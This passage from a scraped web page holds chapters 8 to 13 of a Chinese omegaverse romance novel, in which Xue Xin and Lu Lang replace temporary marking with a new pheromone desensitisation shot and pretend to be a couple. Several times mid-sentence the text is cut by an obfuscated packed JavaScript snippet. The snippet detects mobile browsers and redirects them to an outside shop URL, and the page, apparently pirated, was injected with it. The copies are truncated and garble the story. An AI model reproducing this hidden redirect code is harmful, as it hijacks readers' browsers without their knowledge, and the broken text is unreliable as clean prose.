路琅沉默几秒,偏开眼:“谢谢。” 薛歆惊讶地咦了一声:“你这不是会讲好听的话吗?” “……” 路琅紧紧地闭上了嘴。 三分钟后,悬空观景台终于走到了尽头,在人工湖后面那片茂密森林的入口处断了。 薛歆拨开树丛,一条明显是被人踩出来的小路显露出来。 “从这穿过去就快到了。” 路琅从刚才被调侃了之后就再没讲话了,走过来,看见生长得相当狂放的灌木丛,忍不住皱了皱眉。 从这儿走一定会粘的满身是灰。 他不禁再次后悔答应了薛歆一时兴起的提议。 薛歆在半米外示意:“直接跨过来。” 都走到这里了,犹豫也不是办法,路琅抬起脚,尽可能不碰到那些落满灰的叶子,一步跨过了灌木丛。 他的动作很流畅,奈何地面太崎岖,左脚刚落地,就被一根横斜在地面的树枝绊了下,脚下不稳,眼看着就要栽倒在地。 薛歆立刻反应过来,朝前一步,伸手把他接住了。 “没事吧?” 路琅的脸色有点发白,过了几秒,才轻轻地摇了摇头。 薛歆松了口气,正要再礼节性地关心两句,目光朝怀里一扫,突然发现两人的姿势不太对劲。 她默默松开了扣在对方腰上的手。 路琅本来没意识到,感受到这个动作,本能地低头看一眼薛歆的手,一张脸迅速红了。 “我没事。” 他的语速快到像是心虚,说完,退后一步想拉开距离,差点又踩回到身后的灌木丛里。 好不容易站稳,路琅抬眼,发觉薛歆还在看他,忍着羞耻强调一遍:“我真的没事。” 薛歆回神:“我知道。” 路琅:“那就别盯着我看。” 在树林昏暗的光影中,他的脸部线条不如平常清晰,距离很近,看起来也朦朦胧胧的,像遮着一层雾。 薛歆隔着雾气注视着路琅的脸。 她喃喃地说:“我现在突然觉得,他们说的也没错,你确实……” 路琅受不了被这样看着,耳尖都泛了红,催促道:“确实什么?” 薛歆:“你确实很漂亮。” …… 路琅的大脑咔一声死了机。 他漂亮的脸上浮现出一层茫然。 什么?什——她突然在说什么? 薛歆讲完才发现自己说了句多么突兀的话。 “呃,我是说,那个,嗯。”她努力补救,“我就是觉得……” 适时震动起来的手机拯救了她。 薛歆:“我先回个消息。” 她低下头,按了两下指纹都不对,连忙切成密码模式。 解锁成功的一瞬间,某些被短暂遗忘的记忆随之回笼。薛歆忽然想起,她之前正在和薛隽聊相亲的事儿,屏幕上还是那些……那些照片! 来不及了。 屏幕亮起,两人同时看过去。 七八张各式各样的Omega写真照最上方,是一条特别扎眼的消息。 【有看上的就给你约出来,想见几个都行。】 9. 第 9 章 从秘书口中得知妹妹正在办公室等着见她的时候,薛隽刚从工厂回来,带着一脸喜色就上了楼。 随即被薛歆的脸色冻回了北极圈。 “突然怎么了?谁惹你不高兴?” 薛隽站在门边询问,谨慎地观察着妹妹的表情。 薛歆看见亲姐就想起那条消息。 尽管那已经是昨天的事儿了,她还是想起就一阵胃疼:“能别催婚了吗姐,你堂堂一个董事长,又不是专门给人做媒的。” 这回薛隽罕见地没有反驳。 “行,不催就不催,你自己折腾去吧。”她爽快地摆摆手,“以后找不着对象可别想再求你姐帮忙。” 薛歆:“?” 薛隽:“又怎么了?” “你怎么突然愿意放过我了?”薛歆怀疑地问,“该不会被人调包了吧?” 薛隽敲她的额头:“想什么呢,最近新药上市,我每天都忙得要死,以后都没时间管你了。” 薛歆惊讶:“又有新药?我们家抑制剂改版换代的速度快赶上手机了吧。” “不,恰恰错了,这次不是抑制剂。”薛隽摇摇手指,“是前所未有的新药,官方扶持的,和你母校的实验室有合作。” 她想了想:“算是带点公益性质吧。” 薛歆:“公益?” “对,是信息素脱敏针。” 薛隽先抛出一个简短的名词,随即开始喋喋不休:“和治疗传统过敏的那种不一样,我觉得该叫‘去影响针剂’,用来消除标记之后信息素对双方的影响,能治疗依赖反应之类的。不过征集意见之后,都说这个名字太浅显了,不够高端,所以后面改成……” “谢谢你。” 薛歆忽然没头没尾地说。 薛隽:“嗯?” 薛歆站起身,拍了拍她的肩膀,真诚地说:“姐,你终于有用了。” 薛隽怒道:“什么玩意儿?你——” 薛歆已经像一阵风般刮出了办公室。 坦白地讲,她对临时标记虽不抗拒,态度却也不能说多么积极,至少她无法认同和薛隽那套“标记等于感冒药”的理论。 如果能不标记就解决问题,当然是千好万好。 下了楼,电梯门刚在眼前打开,薛歆就拿出手机要联系路琅。 好友是那天去医院后加上的,聊天界面空空如也,谁也没主动发过消息。 她点了点语音通话。 一行小字猝不及防地出现在眼前: 【请确认你和对方的好友关系是否正常】 薛歆刚组织好的语言卡在喉咙里。 她难以置信。 这是被路琅拉黑了? 薛隽发的那条消息是让人误会,但她明明当场就解释过了,根本不是那回事,她真的不是渣A! 薛歆用指尖点了点这个冰冷的弹窗。 她既有些无语,又感到某些认知被刷新了。 路琅居然是这种一言不合就要把对方拉黑的性格吗? 好任性。 薛歆切回到通讯录,想联系路琅的主治医生,像上次一样让人家帮忙带话。 但这是不是太幼稚了? 她想了想,脚步一转,推门折回了办公室。 “哟。”薛隽正好签完一份文件,抬起头看她,“二顾茅庐来了?” 薛歆开门见山地问:“姐,你有路琅的联系方式吗?” “路……”薛隽先是疑惑地眯了眯眼,而后才想起来,“哦,路氏的那个小年轻。” “不确定,你自己找找。”她把手机推过来,“我应该只有老路总的联系方式,这几年跟路氏没什么合作了,年轻的这一代我不太熟。” 薛歆听到这儿已经不抱希望了。 打开联系人列表搜索,果然一无所获。 薛隽问:“怎么突然要联系他?” 薛歆含糊地说:“有点事。” 薛隽把手机拿回来:“如果着急,我联系老路总问问。” “不不。”薛歆制止,“也没那么急。” 薛隽动作一顿,盯着她看了几秒,有些怀疑地问:“到底为什么要找他?你是不是有什么事情瞒着我?” 薛歆:“没有。” 她答得很快。 薛隽:“你有事情瞒着我。” 薛歆:“……是有一件。” 薛隽便露出一副果不其然的表情,嘶了一声,颇为无语地问:“该不会还是上学时候那点恩怨吧?都什么岁数了,你俩还在玩这种你打我一下我打你一下的游戏。我的天,薛歆,让我说你什么好?” 薛歆无辜挨骂,有苦说不出。 三分钟后,薛隽的长篇大论终于结束。她瞅一眼妹妹,突然说:“你和路琅的关系要不是这么差,我也用不着费劲催婚了。” 薛歆一直沉默着走神,听到这儿,抬头发出一个困惑的音节:“嗯?” “你忘了?挺久之前,有人想替我们俩家牵线,那会儿你十五六了,叛逆得恨不得原地起飞,我想问问你的意见,刚说两句就被一顿怼。” 薛隽幽幽地问:“你不记得了?” 薛歆想了又想,只觉得冤枉:“我真没印象了。” 薛隽盯住她,半晌,啧了一声:“挺好,选择性遗忘也是个天赋。” 薛歆当没听见,把话题拽回来。 “无论以前怎么样都过去了,这次是真有正事,暂时不太方便讲。”她保证道,“我会解决好的。” 薛隽勉强相信了。 薛歆起身:“那我走了。” 薛隽:“等等。” 她拿起手机划动了几下,将一个定位发给了薛歆。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243200|197833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>薛歆看了眼,是个酒店的地址。 “晚上有个应酬,那几家和我们都没有业务往来,我不准备去。” 薛隽说:“路氏多半会到场,按现在的情况,来的估计就是你要找的那个。那么正好,你可以替我出席。” 薛歆:“我也没有……” 也没有到要去线下堵人的程度。 不过,仔细想想,这么做似乎也挺有意思的。 她又看了一遍那个地址。 “好,就这么定了。” - 拉黑是一时冲动的结果。 路琅说不清冲动的原因,但很愿意保持现状,过去一整天,仍然没有把薛歆从黑名单里放出来的想法。 校庆次日,他的心情已然平复,除了若有若无的柑橘信息素飘过时,不再想起薛歆。 白天平静无波地过去。 晚上有个商业晚宴,路琅既无兴趣也没精神,可老路总跟主办方有些交情,出于礼节,他还是去了。 宴会规模很大,本市名流基本都接到了邀请,虽然不是人人都出席,但会场也算是群星闪耀了。 路琅走到宴会厅附近,远远看见了一个合作过却不太熟的人正好走在前面。 他讨厌不必要的社交,停下了脚步。 等待了约摸五分钟,估计着这人已经走远了,路琅重新迈步往前。 刚折过转角却听见了对方的声音。 “行,见她一面还真难。”那人不知在对谁说话,“别忘了替我带话啊。” “一定。” 薛歆笑着说。 待面前这位连名字都记不清的X总离开后,她的表情变成苦笑,按着眉心叹了口气。 社交好累。 难怪薛隽不愿意来。 时间还早,薛歆先发了条消息控诉亲姐,又原地缓了半分钟,才找回了应对后续社交环节的勇气。 她正要往前走,突然听见背后有脚步声。 又是何方神圣…… 薛歆扯扯嘴角,扬起一个社交专用的微笑,一边快速回忆薛隽的人脉网,一边扭头朝身后看,心里过了几种开场白。 下一秒,她和迎面走来的路琅对上了目光。 双方的动作都是一个急停。 在黑名单里躺着的人突然从天而降,路琅的心情很复杂,最鲜明的感受是尴尬。 他完全能猜出薛歆是替她姐来的。 只是不凑巧碰见了。 路琅想,薛歆又不会没事给他发消息,怎么可能发现自己被拉黑了。 没什么尴尬的。 路琅明知故问:“你怎么也来了?” 薛歆这会儿反应过来了。 “我来找你啊。” 她的语气很自然,随意地扬了扬手机。 “你不是把我拉黑了吗?” 10. 第 10 章 薛歆怀疑自己的手会被路琅盯出一个洞来。 “别看了。”她把手机揣回衣袋里,“再看也改变不了既定事实,你拉黑的时候就没想过会我被发现吗?” 路琅终于把目光移开了。 “所以,”他看着薛歆的眼睛,“你是来兴师问罪的?” 薛歆:“那倒不是。” “想拉黑就随你,我无所谓。”她不甚在意,“难道我们之间还有什么闲话可聊?” 这话让路琅皱了下眉。 他不想理会,抬步绕开薛歆。 这时,远处隐隐传来夹杂着大笑的谈话声。 薛歆听见声音,抬眸扫了眼,看见转角有几个逐渐变大的影子。 她收住了没讲完的调侃,拦下路琅:“我有事找你。” 声音越来越近。 薛歆:“换个地方说。” 路琅:“我不去。” 拒绝无效。 薛歆不容分说地把他拉进了宴会厅旁的一间休息室。 场景太相似。 路琅浑身一僵。 不过这次没反锁。 两人没朝里走,面对面站在门边,谁也没立刻开口。 路琅被突然拽进来,很不乐意,勉强等了几秒,见薛歆还不说话,就耐心全无地伸手去开门。 “别着急。” 薛歆隔着衣袖握住他的手腕,拇指和食指紧扣着,像一把小锁:“再给两分钟,我可是带着好消息来的。” 路琅低头看着自己的手,轻微蹙眉,问:“什么好消息?” 薛歆:“我找到了替代临时标记的办法。” 路琅挣开了她的手:“说。” “对我客气点不会怎样。”薛歆把手插进衣兜里,“看新闻了吗?信息素脱敏针剂,刚上市,能缓解依赖反应。” 路琅谈不上多高兴。 讨论模拟信息素时,他已经听过类似的话,现在的感觉更像狼来了。 薛歆快速地把自家产品介绍了一遍。 路琅听着,一言不发。 他觉得情况好像反过来了。 明明他才应该是那个对标记极度抗拒、不停寻找替代方案的人。 薛歆讲完,问:“大致就是这样,你怎么想?” 路琅不可能给其他答案。 “我没意见。” 他说。 “那就行。药剂需要定制,还要抽个时间去采样,可能会有点麻烦,我先跟你讲一声。” “不过,”薛歆说,“再麻烦也比标记好,你不觉得吗?” 路琅觉得这也该是他的台词。 不知怎么,听着薛歆轻松的语气,他突然有点烦躁。 他低声:“嗯。” 薛歆:“那我就去安排了,估计就是明后两天,确定了给你发地址。” 她用指尖敲敲手机外壳:“别忘了解除黑名单。” 路琅完全不想再提这个。 他的声音更低了:“……嗯。” 薛歆觉得他的语气听起来不太情愿。 她想了想,把拨号界面调出来,示意道:“以防万一,先给我留个电话号码。” 这理所当然。 路琅没把手机接过来,低下头,就着薛歆的手在屏幕上输入数字。 一点点白花的香味飘过来。 柚子花。 薛歆心想。 早先上学的时候,她一度认为路琅的信息素至少得是胡椒味。 更符合他的性格。 很快,路琅把电话号码输完了。 他每点一下,薛歆就能感觉到手机轻晃一下,像猫爪拍在屏幕上。 她不由得攥了攥手指。 路琅没有察觉。输完十一位数字,他往前半步,抬起头,俯身作势要去拉薛歆身后的门把手。 薛歆偏头看他。 头发贴着面颊擦过。 两人的呼吸几乎缠在一起。 “就走了?”薛歆忽然开口,“没有其他要问的?” 她的气息轻轻流动,伴着一点柑橘的气味。 路琅顿了顿,捏紧了门把手:“没什么可问的。” 薛歆抵着门没让开。 路琅不得已松手,掀眸看她:“你还有事?” 他的音色和气质一样,都是冷冷淡淡的,这一眼却很有情绪,让整张脸都变得生动。像色泽鲜亮的花瓣,背面长着细细的绒刺。 薛歆被看得一时忘了自己原本要说的话。 她微微皱起眉。 虽在神游,因为脸上没有笑意,看起来像是在正经的思考着什么东西。 路琅耐着性子等了一会儿。 薛歆仍然没有要说话的意思。 路琅抬高声音:“薛歆!” 薛歆回神:“嗯?” 对视一眼。 路琅:“你有话可以直说。” “嗯。”薛歆伸手按了下眉心,视线偏转,“我想想。” 直说——总不能直说“突然发现你长得真好看所以我看得走神了”吧? 她从脑海中的各种念头里随机抓出一个:“我只是觉得你的反应太平淡了。麻烦解决了,不值得你高兴吗?” 路琅面无表情:“高兴。” 薛歆:“……” Omega真是难以捉摸。 她看看手机,发现离晚宴开场还有一段时间。如果立刻掉头就走,也完全来得及且不会引人注意。 反正薛隽也说了参不参加无所谓。 薛歆当即决定走人。 她是抱着突然出现吓路琅一跳的想法来得,没想到他这么平静,十分扫兴,本就不喜欢的应酬似乎也变得更讨厌了。 决定要离开,她的心情轻松不少,唇边浮了点笑意出来。 路琅觉得更加烦躁了。 薛歆让开路,把抵了半天的门拉开了,跨出去之前想和路琅说声再见,回过头,发现他正直直的盯着她看。 薛歆动作一顿:“怎么?” 路琅凝神看她,乌黑眼珠里闪着点光,看起来冷冰冰的。 “你很高兴?” 他忽然问。 薛歆:“我?” 她这时才意识到自己是笑着的,指尖碰了碰唇角,迟疑地说:“还可以吧。” 路琅不再说话了。 他收回目光,先薛歆一步走了出去,直到绕过转角都没回头。 就这么—— 路琅不知道自己究竟因何烦躁,但这种情绪确实沉甸甸压在心上,让他的脑海里不断盘旋着一句话。 能摆脱我就这么高兴? 他忍不住想。 另一边,薛歆不知道这段心路历程。 她看出路琅心情似乎不好,但没找到原因,看着他的背影消失在视野中,带着疑惑转了身。 ……能避免临时标记还不高兴? 真难懂。 薛歆没思考太久,很快也离开了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他有点沮丧地低着头,没有再出声,直到电梯门打开,才鼓起勇气,急急忙忙地拦住了薛歆。 “我能加一下您的联系方式吗?”宋从玉紧张地说,“我听说影叙在招样片模特,很快就寒假了,如果有机会,我想尝试一下。” 影叙是薛歆那家摄影工作室的名字。 毕竟是宋家的小少爷。 这要求简单到很难拒绝。 薛歆:“好。” 加上好友,宋从玉有了点笑容,眼睛很亮。 薛歆低头修改备注,又说:“最近要开分店,太忙了,我可能顾不上,之后让人事联系你。放心,我会交代清楚的。” 宋从玉的笑容僵了僵。 薛歆随意挥挥手,径直走了,没再给更多互动的机会。 走到无人处,她立马拿出手机给薛隽发消息。 【歆:我遇到宋总的小儿子了。】 【歆:十八岁你也推给我?!】 几分钟后,薛隽慢悠悠地发来回复。 【姐:十八的Omega一枝花,怎么,你还不满意?再小点可就犯罪了。】 薛歆:“……” 11. 第 11 章 吃一堑长一智。 薛歆立马把这条消息删了。 删完还不放心,往上翻了翻,把那一堆破坏她社交形象的写真照和薛隽的各种狂妄之言全部清空。 想一想,给亲姐发了条友情提醒。 【歆:谨言慎行。】 薛隽回了一长串问号过来。 一忙起来,时间就过得飞快。薛歆晚上回家还记得要把宋从玉的名片推给人事,第二天一醒就全忘了。她两天外出了七八趟,先是考察完所有的新店地址,又公司医院两头跑,把脱敏针采样的时间也确定了。 自家开着药企,事情办起来很轻松,唯一的难点只在如何不让薛隽知道。 “对,是我对象。关系不稳定,怕家里给他压力太大了,还没跟我姐说。” 薛歆给医生朋友打电话:“不用特别做什么,帮我瞒着我姐就行。” 朋友一口答应:“小问题。” 薛歆转头去和路琅确定时间。 她点开通讯录,正要按下拨号键,忽然想起之前被拉黑的事,看着电话号码想了想,把微信打开了。 先试试看。 她随便发了个emoji。 这次没冒出来红圈提醒。 消息顺畅地沿着网线发送到另一端。 办公室里,路琅看着薛歆头像后面跟着的狗头emoji,陷入一阵沉默。 有一瞬间,他怀疑对方被盗号了。 【路琅:有事就说。】 聊天框顶部开始显示“对方正在输入中”。 路琅把手头的工作暂且放下,在手机前面等着薛歆发消息过来。 等了一会儿。 顶端的状态还是正在输入。 到底要说什么? 路琅不愿意花心思猜测薛歆到底想说什么,这让他觉得有点……向来只有别人猜他的心。 可惜,在意识到自己不愿意之前,他已经盯着聊天框思考了足足一分钟。 也许是脱敏针剂出了问题。 如果是因为这个,那没有关系。 反正,路琅想,他也不是很寄希望于这些办法。有当然最好,如果没有,标记也无所谓。他不可能被区区几次标记影响心境。 正在输入又持续了一阵子。 路琅盯着这几个字出神,屏幕忽然一变,对面直接打了一通语音电话过来。 他愣了下,接起来。 薛歆的声音从听筒传出:“路琅?” 经过了电流的传输,她的声音似乎变得比平常动听了一点,沉沉地像大提琴的乐声。 路琅把手机拿远了:“嗯。” “医院那边我已经谈妥了。”薛歆问,“明晚你有时间吗?” 路琅的呼吸停了一瞬,随即,他低声应道:“有。” 薛歆:“那就好。” 路琅忍不住追问:“是信息素采样?” 薛歆:“对啊,上次和你说过。这么快就忘了?” 路琅脱口而出:“我没忘,我只是以为——” 薛歆疑惑:“你以为?” 路琅不知怎么回答。 以为会有某些意外,就像之前谈论模拟信息素的时候那样,出现计划外的情况,让事情发展不如薛歆的心意。 而应该合他的想法,比如说就用最初的办法,标记…… 想到这里,路琅猝然一惊。 他简直无法想象,在内心深处,自己居然会更期待标记。 不,他只是渴求信息素而已。 都是依赖症的错。 为了转移注意力,路琅立刻说:“没什么。你继续说。” “我也没有其他要说的了,只有一点。”薛歆把和医生朋友交代的话转述了一遍,“所以我们得假扮情侣,这样不用解释太多,会容易点,也更方便要求其他人保密。” 路琅:“没有必要,对我来说,这不是个见不得光的秘密。” 薛歆:“但对我是。” “要是被我姐知道咱俩有什么关系,她绝对会想尽办法撮合我们。”她有些无奈地说,“到时候不得安生的可就不止我一个了。” 听到这里,路琅安静了一会儿。 刚才的绮思极速消失。 他的声音又变得毫无情绪了:“用不着担心,没人会撮合我们。” 薛歆:“因为我们之前关系差?那都是多少年前的事了,怎么除了我,你们都把上学时候的事记得那么清楚。” 路琅:“不是。” 薛歆:“嗯?” 路琅冷笑一声。 他一字一句地说:“因为你说过跟我在一起还不如去死。” - 次日下午。 薛歆仍未记起自己到底什么时候说过那句话。 见面时间约在三点。两点四十,她提前到了路琅公司楼下,把车熄了火,下来一边透气一边继续回忆。 全无印象。 不对付了那么多年,不论私下里还是明面上,她确实说过一些不太好听的话。这不必否认。 但是——和你在一起不如去死——真是闻所未闻。 临近三点,路琅准时下楼,一出大门,看见薛歆正靠在车旁沉思,双手抱臂,表情严肃。 他走过去,正要开口说话,薛歆却像察觉到什么似的,抬起头看了过来。 两人对视,她站直了,笑笑说:“挺准时。” “守时是基本礼貌。”路琅转向轿车后座,“走吧。” 薛歆先一步拉开了副驾驶车门。 “坐前面,我不是你家司机。”她做了个请进的手势,说,“正好,我还有话要问你。” 闻言,路琅抬眸看她,长长的睫毛轻巧地往上一挑,目光不算友善。 薛歆皱眉:“这是什么眼神。” 路琅突然问:“你刚才在想昨天的事?” “是啊,你怎么知道?”薛歆说,“想都不准想?” 路琅:“我没说不准。” 他往前走了两步,俯身坐进了副驾驶座,伸手系安全带。睫毛像阴雨天气里的蜻蜓,低低地压下来。 薛歆扶着车门,弯下腰说:“你要是愿意说清楚,我也不会一直想了。哪有讲个开场白就下台的?” 路琅:“早知道你会这么在意,我也不会提了。” 薛歆:“如果你没有因为一句话记恨我这么多年,我也不会在意了。” 路琅:“记恨?我还不至于……” “嘘,别激动。” 薛歆伸出一根手指竖在唇边,打断之后,问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说到这件事,她无奈得有点想笑。 “我姐也是胡闹,给我介绍的完全是个小孩,刚满十八。” 路琅:“你不喜欢小的?” “也不是,我没有特别的择偶偏好。”薛歆用右手比了个九,“但这个也太小了,肯定有代沟。” 路琅想起之前的一段聊天内容。 “上次你说你不喜欢Omega。”他语调平平,“这不算偏好吗?” 薛歆:“嗯?” 那话是她随口说的,没到原则性喜恶的程度,不过说起来,也不是一句假话。 路琅抬眸:“你是不是从来不记得自己说的话?” “不,这个我记得,嗯……也算吧。”薛歆整理措辞,把刚才的话重说了一遍,“除了不想找Omega之外,我没有别的择偶偏好。” 她忽然想起薛隽的介绍语,补充道:“我说的这个小孩就是Omega,所以如果是他,我说不定真的会讲那句话。对你还不至于。” 路琅一点儿也没有为此感到高兴。 12. 第 12 章 薛歆约好的医院在茂大附近,和医学院有合作,是信息素脱敏针的第一批试点医院之一。 腺体专科的那位医生是她的朋友。 毕业之后,经人介绍认识的。在所有朋友中,这位非常难得,并不知道她和路琅那些不大正面的传言。 “我跟他说我们是情侣,不过你不用特别在意这个,我打的补丁还是挺多的。” 薛歆说:“我说了我们刚吵过架,现在还在冷战,所以不用表现得很亲密。” 路琅依然不能理解这种画蛇添足的行为。 “我不知道这有什么必要。”他咬字加重,“假扮情侣——你觉得有意义?” 薛歆压着声音说:“就当是为我好。” 今天是工作日,医院里仍然挤满了人,信息素浓得像压缩多年的罐头。穿过门诊大厅,一直走到研究中心附近,人群终于渐渐稀疏,不再有碰上熟人的风险。 “我只是想尽可能避免麻烦,不让我和陌生Omega在外面乱来的谣言传得到处都是。最好别低估人类的八卦欲。” 四周无人,薛歆恢复到正常的说话音量:“也不能松懈对我姐的防范心。” 双方没有业务往来,路琅已经很久没有见过薛隽,听了这句话,露出一个意外的表情。 在他仅存的印象里,薛隽是个气质相当清冷的女Alpha,平日里不苟言笑,和薛歆所描述的形象相去甚远。 对此,薛歆给出的回应是一声冷笑。 “那是我姐装出来的,她觉得高冷点就不会有人来烦她……这样她就有足够的时间来烦我了。” 路琅:“催婚?” 薛歆:“催婚是只是一个方面。” 她有无穷无尽的苦水能倒,但考虑到薛隽的形象,总算悬崖勒马,给姐姐留了点面子。 “总之,不能让我姐发现我跟你有任何超过陌生人的关系,否则她会把这当成催婚成功的预兆,没完没了的骚扰我。” 这段话里的某个形容听起来很顺耳。路琅隐约感觉自己的唇角向上抬了一点点,很快,他将头低了下去。 薛歆误以为这反应是不相信。 她开始补充论据:“前两天我姐说,家里曾经有意向把你和我凑成一对,被我拒绝了才不了了之,反正——” 路琅全程听着,没有插话。 读书的时候,他常常见到薛歆和朋友滔滔不绝的聊天,只是她在他面前话从来不多。今天难得做一回倾听者,他觉得还挺有意思的。 她的话不少,记性也不太好。 “反正”二字之后,薛歆突然停下,久久没有再开口,眉头渐渐皱了起来。 路琅转头,瞟了一眼她的脸色。 “想起来了?” 他问。 薛歆皱着眉:“等等。” 那天听薛隽谈论往事的时候,她心不在焉,话在耳膜上像水一样流过去,没有被仔细思考过。 直到此刻,某些早已被遗忘的画面才终于被她记起。 那大概是……没记错的话,是高一的某个周末。 薛隽还没接手家族产业,是被推着在台前露面的时候。公司有什么事,一般都是她独自应酬,偶尔有氛围轻松的宴会,才会把薛歆带着一块儿出席。 那天薛歆刚结束开学考,待在家里无所事事,被薛隽顺手薅走了。 到了地方,和熟人打了一圈招呼,薛隽觉得人群太吵闹了,把妹妹拉到角落聊天。 她先扯了点有的没的,说完一堆废话之后,突然图穷匕见:“一直没问你,你现在这上高中了,和同学相处的怎么样?有没有喜欢的Omega?” 话题转得匪夷所思,薛歆下意识皱起眉,说:“没。” “不会吧?”薛隽诧异,“像你这么大的时候,我都早恋好几轮了。” 薛歆一阵无语:“所以呢,你说这个是要炫耀?” 薛隽不满:“态度好点,跟姐姐讲话怎么这么没大没小?” 薛歆:“你说的又不是正经话。” “怎么会,我很正经的。” 薛隽边说边扒拉手机,模样看不出一点认真:“我有个合作对象的孩子也在附中上学,跟你同龄,是个Omega。我之前和那边聊过,咱们两家门当户对的,能更进一步也挺好。先介绍你们认识认识?” 薛歆:“……?” 薛隽:“怎么样,你的想法呢?” 薛歆无语了一阵,强调显而易见的客观事实:“我才十六岁。” 薛隽:“正是适合培养感情的年纪。” 薛歆:“你疯了吧?” 在薛家这个圈层里,商业联姻不是件特别稀罕的事儿,但也没到必要的程度。她想过某天会被家里安排认识几个条件相仿的Omega,对此不是那么难以接受,可现在也太早了。 “你每天待在公司就在想这些?”薛歆差不多把抗拒两个字写在了脸上,“发什么疯呢,别打我的主意。” 薛隽:“好好好,脾气怎么这么大。我只是跟你提一句,也不是非要现在定下来。” 薛歆:“反正我不接受包办婚姻。” 薛隽:“话别说这么绝对,人家条件不错的。哎呀,我先给你看看照片,说不定你就同意了。” 薛隽说着,一下把手机递到了过来。照片直愣愣地戳在薛歆眼前,她看也不看,直接推开了。 “要我接受这种——” 薛歆烦躁地推着薛隽的手,目光一点也没往屏幕上落,拉扯之间,“包办婚姻”四个字也被吞掉了。 她确实正在叛逆期,当即语气很冲地说:“那我还不如去死。” …… 回忆完这一段往事,薛歆伸手无奈的捂了一下眼睛,说:“所以,你就是那天听见了?” 路琅:“我当时就在旁边的窗台,几步远,想要不听见很难。” 薛歆:“我真没想到……” 路琅:“没想到我会听见?” 他比薛歆还小两个月,那时候刚满十六岁,相比之下不算叛逆,可是脾气也不小。 赴宴之前,家里的长辈先把打算告诉路琅了,也给他看了薛歆的照片。 他也对订婚没有任何正面的情绪,但既然知道了长辈有这方面的想法,不免也有点关注薛歆。 然后就听到了那么一句话。 现在想起来,因为这个生气是太没必要了,可那个时候他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有薛歆提醒在前,这位好心朋友没有表现得太过夸张,只在见到路琅的时候,拼命地朝薛歆挤眉弄眼了一阵。 等路琅去做基础检查后,医生走到薛歆旁边,用力拍了拍她的肩膀。 他的语气夸张:“这样的你都不敢带回家,不至于吧!” 薛歆叹了口气:“说来话长。” “不过,既然都在一起了,为什么还要用信息素脱敏针,直接临时标记就行了呀。”医生说,“有一就有二,又不是没标记过。” 薛歆:“这个……原因很复杂,在一起还没多久。” 医生:“谈恋爱还搞这么保守,行吧,各有各的性格。但今天你俩还是得做个临时标记。” 薛歆以为自己听错了:“为什么?” “采样啊。”医生解释,“信息素在不同状态下是不一样的,采样得全面,需要收集标记过程中的信息素。” 他贴心介绍:“早就全自动化了,机械采集,不用害羞。” 薛歆:“……” 13. 第13章 这个世界…… 薛歆想,这个世界的底层逻辑到底是什么?难道条条大路的最终交点是临时标记吗? 她不死心地问:“必须?” 医生:“必须。” 薛歆叹气。 “这又不麻烦。”医生不理解地说,“临时标记也就是几分钟的事,你都保守到这种程度啦?” 薛歆仍回答:“说来话长。” 医生困惑地看她一眼。 “好吧,不愿意也行,我给你开个单子直接去抽信息素,结果还更准。”他摊开手,“那可真是要遭老罪喽。” 抽信息素……? 薛歆忍不住摸了下脖子。 这不是个常规体检项目,她只在大学入校体检时抽过一次,当时的感受记不太清了,但那根堪比牙签的针管还是历历在目。 对她来说也可以忍受,不过,路琅估计接受不了。 毕竟——薛歆想起上次的,呃,某些“体验”——他的皮肤和腺体,不管是目测还是实际触感,都特别的脆弱而柔软。 她的手指微动了下,又想,路琅的脾气也不大好。 被弄疼了说不定要迁怒无辜。 路琅走出检查室后,薛歆把刚刚听来的坏消息说了出来,果不其然,他立刻蹙起了眉尖。 “那太疼了。”路琅皱着眉,抗拒地说,“我不要。” 薛歆:“那就标记。” 路琅低低地:“嗯。” 他说话时眼睛朝旁边看,模样勉为其难,可是语气很干脆,回答几乎没有犹豫。 薛歆在旁边默默观察。 对于标记,她觉得自己可能是优柔寡断了点,但路琅的接受速度也未免太快了。 不管时代如何变化,无论怎样的原因来粉饰,临时标记这个行为本身,多少还是具有一点暧昧性质的。 当然,第一次是迫不得已。 虽然此刻回想起来,那时的情况也未必多紧急,但他们一个昏了头,另一个掉进小学生激将法的陷阱,各种因素交杂…… 总之有充分的理由定性为迫不得已。 至于现在,对标记有点不情愿才是正常的吧。 难道我真的太保守了? 薛歆不禁开始自我怀疑。 在沉默中,两人并肩走到三楼。 信息素采样室是一个没有窗户的房间。 内部灯光经过特别设计,柔和又不显昏暗。房间很小,目测五六个平方,有一把沙发椅和一张不算宽的床,看起来都很柔软。 一侧的小圆桌上放了几本杂志,日期是几个月前,纸张簇新,没有翻动过的痕迹。 看样子,来这里的每个人大概都想着尽快了事。 总体而言,室内的气氛营造得很到位。 薛歆本来心无旁骛,进来时受环境影响,晃了下神。几乎本能的,她回头看了路琅一眼。 目光相接。 